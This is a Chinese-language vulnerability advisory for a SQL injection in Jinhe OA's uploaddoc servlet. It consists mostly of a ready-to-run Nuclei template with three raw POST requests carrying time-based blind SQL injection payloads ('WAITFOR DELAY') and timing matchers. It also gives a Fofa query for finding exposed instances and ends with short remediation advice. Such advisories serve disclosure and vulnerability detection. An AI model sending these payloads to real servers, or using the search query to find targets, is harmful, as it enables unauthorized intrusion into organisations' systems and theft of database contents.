# 金和OA-uploaddoc-sql注入

## 漏洞描述

金和OA-uploaddoc-sql注入,攻击者可通过此漏洞获取数据库敏感信息，从而为下一步攻击做准备。

## 漏洞复现

1. Fofa

app="金和网络-金和OA"



1. 界面如下



1. Nuclei

id: jc6-uploaddoc-sqli

info:

name: jc6-uploaddoc-sqli

author: jc6-uploaddoc-sqli

severity: high

http:

- raw:

- |

POST /jc6/servlet/uploaddoc HTTP/1.1

Host: {{Hostname}}

Cache-Control: max-age=0

Sec-Ch-Ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

key=readimage&sKeyvalue=1';WAITFOR DELAY '0:0:3'--

- |

POST /jc6/servlet/uploaddoc HTTP/1.1

Host: {{Hostname}}

Cache-Control: max-age=0

Sec-Ch-Ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

key=readimage&sKeyvalue=1';WAITFOR DELAY '0:0:6'--

- |

POST /jc6/servlet/uploaddoc HTTP/1.1

Host: {{Hostname}}

Cache-Control: max-age=0

Sec-Ch-Ua: "Not/A)Brand";v="99", "Google Chrome";v="115", "Chromium";v="115"

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10\_15\_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 50

key=readimage&sKeyvalue=1';WAITFOR DELAY '0:0:9'--

matchers:

- type: dsl

condition: and

dsl:

- "duration\_1>=3 && duration\_1<=6"

- "duration\_2>=6 && duration\_2<=9"

- "duration\_3>=9 && duration\_3<=12"

## 修复建议

1. 升级到安全版本

2、如非必要，禁止公网访问该系统。

3、设置白名单访问。